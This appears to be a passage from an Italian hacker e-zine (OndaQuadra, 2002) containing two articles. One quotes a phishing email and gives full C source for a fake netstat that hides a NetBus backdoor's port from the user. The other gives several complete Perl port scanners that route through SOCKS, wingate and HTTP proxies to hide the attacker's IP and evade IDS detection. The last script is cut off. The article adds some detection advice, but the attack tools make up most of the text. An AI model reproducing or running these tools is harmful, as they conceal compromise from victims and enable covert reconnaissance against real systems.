| piu' efficaci (e i soli possibili) verso host con OS Windoze che |
| non montino servizi particolari. |
| Ovvero attacchi via Web, via malicious-script, via social |
| engeneering etc etc... |
| |
| E anche qui la *massa* degli attacker della domenica vengono sfoltiti |
| in una sorta di selezione naturale darwiniana lasciando ancora una |
| volta i piu' smaliziati e/o i piu' furbi. |
| |
| Ci sono infatti molti personaggi che si improvvisano hacker e, dopo |
| aver letto il primo tute sul social-e del primo *attacker della |
| domenica* che pero' e' piu' fico perche' ha gia scritto un tute.., ci |
| danno dentro di email del tipo: |
| |
| |
| "
Caro utente, le scrive il dott. Rossi della Telecom S.p.A. |
| Dovendo effettuare lavorazioni sulla rete interna e sui server che le |
| garantisco la connessione ad internet, ci apprestiamo a richiederle |
| con la presente e-mail criptata in formato 3-DES ABCD (in modo da |
| non rendere visibili i dati a nessuno) la sua collaborazione per |
| garantire a Voi utenti un servizio migliore. |
| Abbiamo bisogno che lei risponda a questa mail con username e |
| password della sua connessione ad internet, in modo da permetterci |
| di ripristinare le medesime configurazioni del suo account una volta |
| terminati i lavori. Risponda a questo indirizzo! Ne vale della |
| sua sicurezza! |
| |
| Dott. Rossi Telecom Italia Via dei Pascoli, 13 ROMA 06/132145123 " |
| |
| |
| IP della mail spudoratamente iniziante co 151.x.x.x e quindi |
| appartenente alla rete infostrada.... Ma bene...il dott.Rossi di |
| telecom che manda una mail da infostrada... patteggiamenti e/o scoop |
| di fusioni commerciali? |
| Ma no... il solito birbaccione che eleva il suo personal-skill |
| da -10 a -9 ... |
| P.s. la mail mi era stata recapitata l'anno scorso e l'ho |
| conservata per farci 4 risate dopo aver letto i post su F.I.H |
| e F.I.H.C. ... |
| |
| Ma ora veniamo al dunque... |
| oltre ad avere questi birbaccioni di cui non ci preoccupiamo... |
| abbiamo anche qualcuno di piu' serio che sperandoci sprovvisti |
| di antivirus e firewall, o usando una delle classiche tecniche |
| per nascondere virus e/o trojan al nostro antivirus, o ancora |
| meglio creando un trojan o uno script che disattivi l'antivirus |
| (altro bug a riguardo scoperto di recente per il quale ancora |
| mooooolte software house di antivirus non sono ancora aggiornate |
| credendolo innocuo..) tentera' di farci eseguire il classico |
| programmino che andra' ad installarci il mitico NetBus ,o il tecnico |
| Sub7, o il piu' complesso BO... |
| |
| Bene, lo eseguira' e avra' modo di connettersi all'host ma... [ e qui |
| viene il punto dell'articolo] il figaccione che sta dietro l'host |
| e che guardacaso si sente sicuro perche' ha letto tutto il manuale |
| di Lord Shinva d'un fiato uscira' con la frase che fa da tema del |
| presente articolo: "
Ma si', ed anche se fosse...tanto io c'ho il |
| netstat e so fare audit del mio pc per vedere tutte le connesioni |
| con l'esterno quando voglio...quindi hai vita breve lamah!" |
| |
| |
| E QUI CI CASCA L'ASINO... |
| |
| |
| /* Inizio articolo vero e proprio */ |
| |
| In quanti sanno usare il netstat per dare occhiata alle connessioni |
| in rete del proprio pc? penso proprio tutti, almeno tu che stai |
| leggendo questo articolo... se no che lo leggi a fare? |
| |
| Bene, il programma netstat, presente su ogni piattaforma che opera |
| in rete, costituisce una risorsa preziosa in quanto e' in grado di |
| visualizzare informazioni sulle connessioni di rete: rilevando il |
| protocollo su cui si basano (tcp o udp), l'indirizzo locale, quello |
| remoto e lo stato della connessione stessa. |
| Come sappiamo per ottenere informazioni sulle connessioni in corso |
| basta semplicemente digitare *netstat* dal prompt dei comandi. |
| |
| Netstat, sebbene utile anche per monitorare connessioni sospette |
| (vedi il nostro amico di prima.....), non e' infallibile. |
| E' anche possibile *fondere due programmi in uno...o piu'.. |
| Magari uno che disattiva l'antivirus con un software normale... |
| Ma se invece l'attacker risultasse un tipo *serio* e decidesse |
| di compromettere la visualizzazione della connessione con la backdoor |
| in modo da tenercela nascosta? |
| Anche l'utente smaliziato che si fa figo in chat spiegando |
| come inviare mail anonime (vedi l'amico sopra...) rimarrebbe fregato. |
| Ma purtroppo questo problema affligge anche l'utente inesperto e / |
| o l'utente a cui non frega niente della sicurezza, ma usa il pc solo |
| per scaricarsi Wanna Marchi e lavorare.. |
| |
| Voi direte sicuramente... ma va..non dir cazzate..me ne accorgerei.. |
| |
| E invece no. Qui sta il problema. La sottovalutazione di questo |
| fenomeno che da gia un vantaggio all'attacker. |
| Tant'e' ke la compromissione di netstat e' uno dei punti onnipresenti |
| di ogni rootkit serio. |
| |
| Tempo fa, su irc, mi e' capitato per caso di fare una scannata col |
| fido nmap su un IP di un amico del chan #messengers_of_fear che mi |
| aveva appena mandato un file.... e che ti trovo? |
| Bene...trovo oltre al resto, 2 belle porte aperte con a fianco una |
| dicitura, la quale diceva: |
| |
| Port State Service |
| 12345/udp open NetBus |
| 12346/udp open Netbus |
| |
| Dopo averlo comunicato all'amico incredulo del quale non faccio nome |
| per non sputtanarlo..( :P ) ... lui ha guardato col netstat dicendomi |
| spavaldo che la mia linuxbox era in errore... la sua WindozeBoxer non |
| dava nessuna connessione col netbus... |
| |
| Poi alla fine mi ha creduto..e tutto ciò mi e' capitato gia 2 volte.. |
| quindi non e' tanto raro.. |
| |
| |
| |
| /* tecnica di compromissione */ |
| |
| Ma come avviene tutto cio'? |
| Semplice, con 70 righe di codice(c.ca) ed una rinominata di file. |
| Supponiamo di rinominare (tramite script/lo stesso progr o altro...) |
| il vero netstat come setup.exe e di spostarlo nella r00t di Windoze |
| ( C:\ ).. |
| In questo caso, ottenuto il nome della cartella in cui e' installato |
| il sistema operativo (di solito c:\windows ) tramite la call alla |
| GetWindowsDirectory(), il programma esegue "
setup.exe", che e' il |
| vero netstat, rinominato e spostato nelle dir radice. |
| Questo programma verra' filtrato ed analizzato dal nostro programmino |
| che ora si chiamera' netstat.exe .... |
| Vediamo il programma: |
| |
| ---------------------[cut-here]---------------------------- |
| /* < - > fake-netstat.c < - > */ |
| /* Windoze version 02/2002 */ |
| /* */ |
| /* This source is only an example of how netstat */ |
| /* can be easely compromised by filter its output */ |
| /* givin' to an attacker the possibility to hide himself */ |
| /* from the connection's listers.. */ |
| /* In this explicit example the program will hide you */ |
| /* from the port12345 ( netbus's default port) */ |
| /* */ |
| /* Coded by SNHYPER snhyper@hotmail.com */ |
| /* */ |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <windows.h> |
| |
| |
| #define MAX 256 |
| #define BANNER "
This is only an example! ..::SNHYPER::.." |
| |
| |
| int main(int argc, char *argv[]) |
| { |
| char WinDir[MAX]; |
| char buf[MAX] ; |
| char *p ; |
| FILE *fp ; |
| int i ; |
| |
| GetWindowsDirectory(WinDir, MAX); |
| p = strtok(WinDir, "
\\"); |
| strcat(p,"
\\setup.exe") ; |
| |
| i = 1; |
| |
| if (argc != 1) |
| { |
| for(;i<argc; i++) |
| { |
| strcat(p, "
"); |
| strcat(p, argv[i]); |
| } |
| } |
| |
| strcat(p, "
> log"); |
| system(p); |
| Sleep(2000); |
| |
| fp = fopen("
log", "r"); |
| |
| while(!feof(fp)) |
| { |
| fgets(buf,MAX, fp); |
| |
| if(strstr(buf, "
12345")==NULL) |
| printf("
%s",buf); |
| |
| else continue; |
| } |
| |
| puts(BANNER); |
| |
| fclose(fp); |
| DeleteFile("
log"); |
| |
| return 0; |
| } |
| |
| /* The-End */ |
| ----------------------[cut-here]-------------------------------- |
| |
| |
| /* come ovviare al problema? */ |
| |
| Un indizio a destare sospetto e' l'aumento del tempo necessario |
| all'esecuzione, dovuto alla Sleep() che attende 2.5 secondi prima di |
| recuperare e filtrare l'output di netstat,reindirizzato verso il file |
| "
log". |
| |
| L'unica possibilita' per accorgersi dello scambio e'di verificare |
| la differenza nelle dimensioni di Netstat che passa da 27.2 Kb c.ca |
| ai 36 Kb c.ca. E' anche riscontrabile un blocco, a causa del |
| reindirizzamento, quando si usa l'opzione di ri

  
petizione del comando |
| ogni tot secondi ( es. c:\> netstat 5 ). |
| |
| Altro ancora e' tenere sottocchio netstat in modo tale da avvertirvi |
| se dovesse essere rinominato e/o dovessero cambiare le dimensioni... |
| Tutto cio' e' molto semplice da fare...basta usare un po' di batch, |
| o di C , o di Perl... e farlo eseguire ogni tot tempo ( simil crond, |
| v.di LINUX!!!!!) In questo modo avete sottocontrollo la situazione, |
| almeno questa.. |
| |
| |
| Se l'attacker fosse piu'ù skillato ancora, renderebbe la situazione |
| piu' raffinata sostituendo la dynamic-link dll ( inetmib1.dll) con |
| una versione fake.... |
| |
| |
| Dunque, o Voi specialisti del netstat, spero abbiate capito come esso |
| non sia sufficiente nel caso in cui Vi troviate ad avere a che fare |
| con un attacker dallo skill elevato.. |
| |
| Ultima frase ed ultimo messaggio che vorrei dare... passate a |
| Linux. Solo col pinguino avrete veramente delle soddisfazioni sotto |
| tutti i campi! |
| Beh..non solo col pinguino, anche col pesciolino... |
| [profani! pesciolino -> openBSD] |
| |
| |
| |
| -- |
| ..::SNHYPER::.. |
| Security Developer |
| |
| /* */ |
| /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ |
| /* :raptor, Morpheo, SirPsychoSexy, embyte, */ |
| /* MoF, UIHA e..chi manca ma si sente incluso */ |
| /* */ |
| /* Phrack, Bfi, Whitepages varie, OndaQuadra */ |
| /* */ |
| /* */ |
| /* Fucks to : anyone */ |
| /* */ |
| /* */ |
| /* NON NELLA CONOSCENZA STA IL POTERE, */ |
| /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!" */ |
| /* */ |
| /* */ |
| /* */ |
| /* ..::SNHYPER::.. */ |
| /* snhyper@hotmail.com */ |
| /* "
Security Developer" */ |
| /* Linux registered user #249109 */ |
| /* Linux registered machine #133922 */ |
| /* */ |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K |
| =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| PASSi SiLENZi0Si NELLA NEVE [SNHYPER] 0x06/0x19 |
+--------------------------------------------------------------------------+
| snhyper@Charlotte2:~$ echo `date` |
| Tue Mar 19 20:23:05 CET 2002 |
| |
| |
| Questo articolo vuole dimostrare come sia possibile eseguire un portscan |
| attraverso un IDS o firewall senza venire sgamati. |
| Potrebbe offrire anche ad un attacker molte altre possibilita' per |
| raggirare firewall, dandogli quindi diversi vantaggi. |
| Questo articolo non e' riguardante lo stack TCP/IP o altri protocolli a |
| basso livello, bensi' si incentrera' sui protocolli ad alto livello, o |
| meglio sul loro *abuso* per raggiungere la meta. |
| Inseriro' diverse parti di codice in Perl e discutero' anche delle |
| possibili contromisure a cio'. |
| Inoltre come per ogni buon articolo troverete allegati i sorgenti dei 4 |
| programmi perfettamente funzionanti e ben oliati ad uopo.Oddio...oliati. |
| diciamo che sono si funzionanti ed ok, ma si potrebbero comunque |
| implementare aggiungendo possibilita' di multithreading e/o selezioni |
| random che non ho aggiunto ma che sicuramente se l'articolo suscitera' |
| interesse faro' in un prossimo futuro in modo tale da avere un vero tool |
| perfettamente oliato per l'uso ;). In ogni caso lo scopo dell'articolo |
| e'la dimostrazione di un metodo di scansione particolare, non la |
| creazione di un programma, quindi sleep().. |
| |
| |
| |
| Mi sono scontrato con questo progetto quando una volta ebbi avuto |
| bisogno di concludere scansioni full-open con un sistema,al quale |
| chiaramente non volevo lasciare in bella mostra il mio IP,e per il |
| quale non avrei voluto passare *fisicamente* attraverso wingate, socks |
| etc.. |
| Sarebbe dovuto essere il piu' portabile possibile, e avrebbe dovuto |
| funzionare anche senza la possibilita' di creare pacchetti IP con le raw |
| socket ( come ad esempio su alcui sistemi Windoze o Linux senza |
| privilegi di root). |
| Avrebbe dovuto avere quindi le proprieta' di un *FTP bounce scan*, che |
| appunto usa un server FTP per avere le informazioni desiderate ( ad es. |
| con nmap). |
| |
| |
| |
| Il protocollo FTP ci permette di connetterci ad un server FTP e farlo |
| connettere al nostro computer, quindi ci permette di forzare il server a |
| connettersi a noi. Dato che in questo modo e' possibile farlo connettere |
| a qualsiasi porta e' evidente come, analizzando i messaggi di ritorno |
| del server FTP,sia altrettanto possibile stabilire se una porta e'in |
| ascolto, in attesa di dati, o e' chiusa. |
| Questo tipo di scansione e' solitamente eseguita settando inizialmente |
| IP e porta con il comando PORT, e quindi inizializzando un trasferimento |
| (usando una richiesta LIST o GET ad esempio). |
| Se dovesse ritornare un "
425 Can't build data connection: connection |
| refused", chiaramente intenderemo la porta come chiusa. |
| Ritornera' invece un 150 e un 226 indicando che e' in corso un tentativo |
| di connessione ad una porta aperta. Per usare questo tipo di scansione, |
| come ho detto prima, potete usare nmap (http://www.insecure.org/nmap) |
| con in aggiunta l'opzione "
-b" (che sta appunto per bounce,vedere man |
| nmap). |
| Il problema e' che da un po' di tempo molti server FTP non permettono |
| il suddetto tipo di scansione. |
| In che modo? Facile, controllando a priori se la porta alla quale sta |
| per connettersi e' veramente un client FTP; se non lo e' ritornera' il |
| medesimo errore 425 indicando l'impossibilita' di connettersi. |
| Quindi bisogna ingegnarsi e trovare un'altra soluzione... |
| |
| |
| Questo tipo di scansione verso un host ha anche notevoli svantaggi. |
| Ad esempio non da la possibilita' ad un attaccker di catturare i banner |
| durante la scansione, metodo molto usato durante il *fingerprinting* per |
| raccimolare informazioni sui vari demoni in servizio, e quindi poi |
| codare tools per exploitarli automaticamente. In piu' una scansione |
| full-open risulta molto rumorosa, e quindi loggata da tutti gli IDS, |
| firewall e anche dalle macchine di utenti smaliziati. |
| |
| |
| La prima idea che mi e' venuta in mente e' stata quella di avvalermi |
| dei proxy. Sicuramente in molti avranno avuto la stessa idea ma..visto |
| che non ho trovato materiale a riguardo... Insomma: l'uomo..-> |
| somatizza. |
| I proxy sono molto usati quando si ha la necessita' di mascherare il |
| proprio IP quando ci si sta connettendo dalla nostra LAN ad un'altra |
| rete dove i router controllano il traffico. |
| Svariati socks proxy sono disponibili gratuitamente per tutti e sono |
| usati anche per le sessioni IRC, per bot etc.... |
| ( http://www.cyberarmy.com ; http://www.proxy4all.net ; etc...) |
| |
| |
| Cosi' ho codato velocemente uno script in Perl che connette |
| semplicemente server socks 4 o 5 , quindi prova a connettersi all'host |
| target. |
| Nel caso in cui riceva un errore, intendiamo la porta chiusa. |
| Se riceviamo un "
connection estabilished", intendiamo la porta aperta |
| |
| |
| |
| ______________ sforbicia qui __________________________________________ |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # totalscan.pl [socks-proxy][s/p-port] [ip_target] [start_port] |
| [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # To use SOCKS lib you must download and install SOCKS module. |
| # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- |
| search.html |
| |
| use Net::SOCKS; |
| |
| # Check if cmd is OK...if not, print Usage |
| if ( @ARGV < 5 ) |
| { |
| print "
\n --------TOTALSCAN---2002------\n"; |
| print "
\nThis tool performs a portscan which,\n"; |
| print "
going over socks and/or proxy servers,\n"; |
| print "
is able to hide your IP from IDS and FW;\n"; |
| print "
if possible is also able to see blocked ports\n\n"; |
| print "
Coded by ..:: SNHYPER ::.. \n"; |
| print "
* [ snhyper\@hotmail.com ] *\n\n "; |
| print "
Usage:\n"; |
| print "
totalscan.pl [socks-proxy] [s/p-port] [target] [start_p] |
| [end_p]\n\n"; |
| exit; |
| } |
| |
| # define variable |
| |
| $proxy = @ARGV[0]; |
| $p_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
| # prassi.. :) |
| |
| print "
totalscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "
Let's go..scanning target: $target ... \n"; |
| |
| #initializin' socket |
| |
| my $sock = new Net::SOCKS ( socks_addr => $proxy , |
| socks_port => $p_port, |
| protocol_version => 4 ); |
| |
| # start scanning |
| |
| for ( $i = $start; $i <= $end; $i++ ) |
| { |
| $sd = $sock -> connect( peer_addr => $target, peer_port => $i ); |
| |
| if ( $sock -> param('status_num') == SOCKS_OKAY ) |
| { |
| print "
.. Yeah .. Found port opened : __ $i __\n"; |
| |
| |
| |
| } |
| |
| $sock -> close(); |
| } |
| |
| print "
\n -_-_-_- totalscan finished -_-_-_-\n"; |
| |
| |
| _______________________sforbicia qui___________________________________ |
| |
| |
| |
| Come e' possibile notare il programma usa il modulo Net::SOCKS che non |
| avrete in una distro con moduli perl di default, quindi dovrete |
| scaricarvelo e installarlo dall'url inserito nel source. |
| Ricordo per chi non lo sapesse che il metodo di installazione di un |
| modulo in perl e' il seguente: |
| |
| $ tar zxvf modulo.tar.gz |
| $ cd modulo |
| $ perl Makefile.PL |
| $ make |
| $ make test |
| # make install |
| |
| |
| Per ogni altro riferimento... il classico |
| |
| $ perldoc |
| |
| Scannando un host da un altro IP, un attacker e' in grado di raggirare |
| firewall usando un socks proxy. Se il proxy e' all'interno di un range |
| di IP privilegiato, il firewall consentira' di essere bypassato. |
| E' anche possibile e divertente far scannare se stessi ai socks proxy |
| usando il classico IP dell'hacker cattivo, ovvero localhost(127.0.0.1); |
| potrete notare come molte volte riesca a bypassare i settaggi dei fw |
| locali.Kiaramente non funzionera' su tutti i tipi di socks proxy in |
| quanto alcuni sono settati intelligentemente in modo da rifiutare |
| connessioni verso e da indirizzi loopback o localhost. |
| |
| |
| |
| E' molto utile per scannare anonimamente un host, ma come puo' essere |
| utilizato per gli IDS? Molti Intrusion Detection Systems sono settati |
| per allarmarsi ed allarmare il sysadmin) quando si supera un limite di |
| connessioni dallo stesso IP verso porte,in uno specific spazio di tempo. |
| di tempo. Per questo molti usando la famosa opzione *paranoid* di nmap |
| che testa una porta ogni 5 minuti c.ca per non far insospettire l'IDS |
| |
| # Dalla man di nmap: |
| # Para noid mode scans very slowly in the hopes of avoiding detection |
| # by IDS systems.It serializes all scans (no parallel scanning) and |
| # generally waits at least 5 minutes between sending packets. |
| |
| Poi bisogna contare anche sui notevoli "
falsi positivi e falsi |
| negativi". |
| Liste di socks e proxy si trovano dappertutto in rete quindi potrete |
| facilmente modificare lo script,o semplicemente inserirlo a sua volta in |
| uno script di bash in modo da fargli usare un socks diverso x ogni |
| porta, meglio se in random.In questo modo l'IDS non logghera' alcunche' |
| (nel 90%dei casi) in quanto le connessioni provengono da differenti |
| host della rete; e comunque anche se proprio dovesse loggare |
| qualcosa...di certo non logghera' noi. |
| Questo permettera' all'attacker di usare un *distribuited scan* senza |
| ricorrere all'installazione di trojan per scannare da altri host. |
| |
| |
| |
| Potrebbe sorgere la seguente domanda:"
Ma che differenza c'e' tra questo |
| tipo di scansione, ed una normale non distribuita?" |
| Bene, quando avviene una connessione su una singola porta di una |
| macchina target, quasi nessun IDS pensera' ( essendo un sistema di |
| sicurezza proattiva) di star subendo un attacco, e quindi non prendera' |
| le contromisure impostate, ovvero mail di qua e di la, chiusure |
| temporanee etc.. etc... a seconda della paranoia dell'admin, o del tipo |
| di target nel quale l'attacker si sta imbattendo. |
| Ma nel momento in cui ci si connette a molte porte in pochissimo tempo, |
| ogni IDS decente ( e cosi' firewall e host decenti...) capiranno subito |
| che si tratta di un portscan di qualke novello, attuando cosi' le |
| contromisure di sicurezza. ( v.di scansione *insane* di nmap.. ). |
| Vi posso dire che in quanto ad IDS ci sono molte scuole di pensiero, o |
| meglio in quanto a settaggio di IDS. |
| Questo perche', come e' facilmente intuibile, aumentando la sicurezza |
| aumenta proporzionalmente la rottura di p...e di controllare i vari log |
| (anch'essi aumentati proporzionalmente), di ricevere mail con falsi |
| allarmi, di sentirsi suonare il cercapersone di notte mentre magari si |
| e' sotto le coperte con la donna per uno script kiddye che ci da dentro |
| di Hail Scan (del buon antirez).Quindi purtroppo, in poche parole, la |
| cosa funziona cosi':maggiore sicurezza =>minore usabilita' =>no script |
| kiddye; maggiore usabilita' =>minore sicurezza =>facciamo festa. |
| La seconda e' la maggiore implementazione di questi tempi per la gran |
| parte dei sistemi. |
| Quindi cio' che faremo sara' di far connettere un host per porta, o al |
| massimo un host per pochissime porte in modo tale da non far |
| insospettire l'IDS.Ogni host si connettera' a poche porte dopo aver |
| atteso un po' di tempo per cercare ancora dalla lista. |
| |
| |
| __________________zaffa qui___________________________________________ |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # noidsscan.pl [list-file] [ip_target] [start_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # To use SOCKS lib you must download and install SOCKS module. |
| # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- |
| # search.html |
| |
| use Net::SOCKS; |
| |
| # Check if cmd is OK...if not, print Usage |
| |
| if ( @ARGV < 4 ) |
| { |
| print "
\n ------NOIDSSCAN------2002---\n"; |
| print "
\nThis tool performs a portscan which,\n"; |
| print "
going over socks and/or proxy servers\n"; |
| print "
and connecting from various IP to various\n"; |
| print "
port in different range of time, will try\n"; |
| print "
to defeat IDS *sentinel* ... \n\n"; |
| print "
Coded by ..:: SNHYPER ::.. \n"; |
| print "
* [ snhyper\@hotmail.com ] *\n\n "; |
| print "
Usage:\n"; |
| print "
noidsscan.pl [list-file][ip_target][start_port][end_port] |
| \n\n"; |
| exit; |
| } |
| |
| # initializin' variable |
| |
| $list = @ARGV[0]; |
| $target = @ARGV[1]; |
| $start = @ARGV[2]; |
| $end = @ARGV[3]; |
| |
| |
| # prassi =) |
| |
| print "
noidsscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "
Let's go..scanning target: $target ... \n"; |
| |
| # access to the file |
| |
| open( FILE, "
<$list"); |
| @proxylist = <FILE>; |
| close FILE; |
| |
| $x = -1; |
| |
| for ( $i = $start; $i <= $end; $i++ ) |
| { |
| $x++; |
| if( $x <= ( @proxylist ) ) |
| { |
| $x = 0; |
| } |
| ( $proxy, $p_port ) = split( "
;", @proxylist[$x]); |
| |
| my $sock = new Net::SOCKS(socks_addr => $proxy, |
| socks_port => $p_port, |
| protocol_version => 4 ); |
| |
| $sd = $sock -> connect( peer_addr => $target, peer_port => $i); |
| |
| if ( $sock -> param('status_num') == SOCKS_OKAY ) |
| { |
| print "
.. Yeah .. Found port opened : __ $i __\n"; |
| |
| |
| |
| } |
| |
| $sock -> close(); |
| } |
| |
| print "
\n -_-_-_- NoIDSScan finished -_-_-_-\n"; |
| |
| |
| ___________________zaffa qui__________________________________________ |
| |
| |
| |
| Un esempio di lista di proxy puo' essere la seguente: |
| |
| proxy1.com:1080 |
| proxy2.org:8080 |
| proxy3.net:80 |
| |
| |
| Come potete vedere e' abbastanza facile usando queste tecnike |
| implementaruno scanner distribuito.Certamente risultera' lento ma |
| potrebbe essere possibile avviare piu' thread in modo da distribuire il |
| lavoro rislutando + veloce. In questo modo sarebbe l'ideale una lista |
| numerosa di proxy in modo da non ripeterli troppo frequentemente, |
| facendo scattare l'IDS. |
| E' bene sapere anche che pero' un attacker serio, non fara' tutto cio' |
| dal suo computer di casa...anche perche' molti socks e proxy loggano |
| loro stessi le connessioni....quindi in caso di IDS alarm,il sysadmin |
| potrebbe risalire all'history dei proxy fino a risalire a voi (cosa un |
| po' remota, raramente ci si muove per uno scan..) |
| |
| |
| C'e' da dire anche che i socks e i proxy non sono cmq l'unica risorsa di |
| raccolta di informazioni. |
| Potremmo benissimo usare i mitici Wingates per lo stesso scopo e con lo |
| stesso effetto. Come sapete i Wingates sono altrettanto pubblici in |
| inet, abbastanza facilmente trovabili,e molte volte gli admin sono |
| talmente distratti da lasciarli incautamente senza password... in |
| questo modo possono facilmente esere (ab)usati per fare portscanning ed |
| altro. |
| Resta il fatto che in molti comunque loggano anche se l'opzione dei log |
| non e' settata di default. Quindi e' sempre bene passare da una "
casa in |
| affitto" in ogni caso. |
| |
| |
| __________________Smonta qui__________________________________________ |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # |
| |
| |
| use IO::Socket; |
| |
| if(@ARGV < 5) |
| { |
| print "
\n ------BYGATESCAN------2002---\n"; |
| print "
\nThis tool performs a portscan which,\n"; |
| print "
using a wingate proxy server, is able\n"; |
| print "
to hide your real IP address from target.\n\n"; |
| print "
Coded by ..:: SNHYPER ::.. \n"; |
| print "
* [ snhyper\@hotmail.com ] *\n\n "; |
| print "
Usage:\n"; |
| print "
bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] |
| [end_port]\n\n"; |
| exit; |
| } |
| |
| $wingate = @ARGV[0]; |
| $w_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
| print "
bygatescan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "
Let's go..scanning target: $target ... \n"; |
| |
| for( $i = $start; $i <= $end; $i++ ) |
| { |
| print ("
Checking port: __ $i __ ..."); |
| |
| $sd = IO::Socket::INET -> new( PeerAddr => $wingate, |
| PeerPort => $w_port , |
| Proto => "
tcp" ) || |
| die "
is better to change wingate...maybe is |
| down..\n"; |
| |
| $send = "
$target:$i\n"; |
| print $sd "
$send"; |
| |
| $x = "
"; |
| read $sd, $x, 150; |
| |
| if( $x =~"
Connected" ) |
| { |
| print "
Yeah..port is open!\n"; |
| print "
And the banner is:\n\n"; |
| print "
$x\n"; |
| } |
| else { |
| print "
Mmm..this port result closed\n; |
| } |
| |
| close $sd; |
| |
| } |
| |
| |
| _______________________________smonta qui______________________________ |
| |
| |
| |
| Ma non ci limiteremo a cio'. Andremo avanti ad analizzare un altro tipo |
| di proxy server di cui e' possibile abusare per scannare reti. |
| Tutto cio' che dobbiamo fare e' apportare qualke piccola modifica al |
| sorgente del programma precedente. |
| Anche i proxy HTTP permettono in genere a tutti connessioni ovunque si |
| voglia. Naturalmente, come dovreste sapere, appena aver "scaricato" la |
| pagina html o il banner chiudono direttamente la connessione con l'host |
| target. Questo per noi non risulta comunque un problema, visto che non |
| dobbiamo inviare dati; abbiamo la sola necessita' di scaricarci il |
| banner e vedere se il servizio risulta attivo. |
| |
| |
| |
| Implementeremo un scanner che tramite una semplice richiesta di pagina |
| HTTP GET sulla porta dell'obiettivo (che per noi fara' il proxy..), a |
| seconda del ritorno ci indichera' la situazione attuale della porta. |
| Il proxy quindi si connettera' al nostro obiettivo e ci riportera' la |
| risposta: se fosse un "503 -Service unavailable", e' facile intuire che |
| la porta risulterebbe chiusa. Nel caso in cui risultasse aperta il |
| proxy, dopo essersi connesso, ci ritornera' la risposta del server. |
| A questo punto pero' ci si presenta un problema: il proxy, una volta |
| effettuata la connessione, non chiudera' la sessione con l'host target; |
| dovremo quindi attendere che la stessa vada in time out per portarci a |
| casa in nostro banner. Se invece non vogliamo prenderci il banner, |
| potremmo semplicemente velocizzare le cose analizzando la risposta del |
| server: attendiamo 5-10 secondi, quindi se la risposta e' un "503" |
| assumiamo che òla porta sia chiusa, se no la consideriamo aperta. |
| |
| |
| |
| _______________________splitta qui________________________________ |
| |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # byhttpscan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # |
| |
| |
| use IO::Socket; |
| |
| if(@ARGV < 5) |
| { |
| print "\n ------BYHTTPSCAN------2002---\n"; |
| print "\nThis tool performs a portscan which,\n"; |
| print "using a HTTP proxy server, is able\n"; |
| print "to hide your real IP address from target.\n\n"; |
| print "Coded by ..:: SNHYPER ::.. \n"; |
| print " * [ snhyper\@hotmail.com ] *\n\n "; |
| print " Usage:\n"; |
| print "byhttpscan.pl [ip_proxy] [p_port] [ip_target] [s_port] |
| [e_port]\n\n"
; |
| exit; |
| } |
| |
| $proxy = @ARGV[0]; |
| $p_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
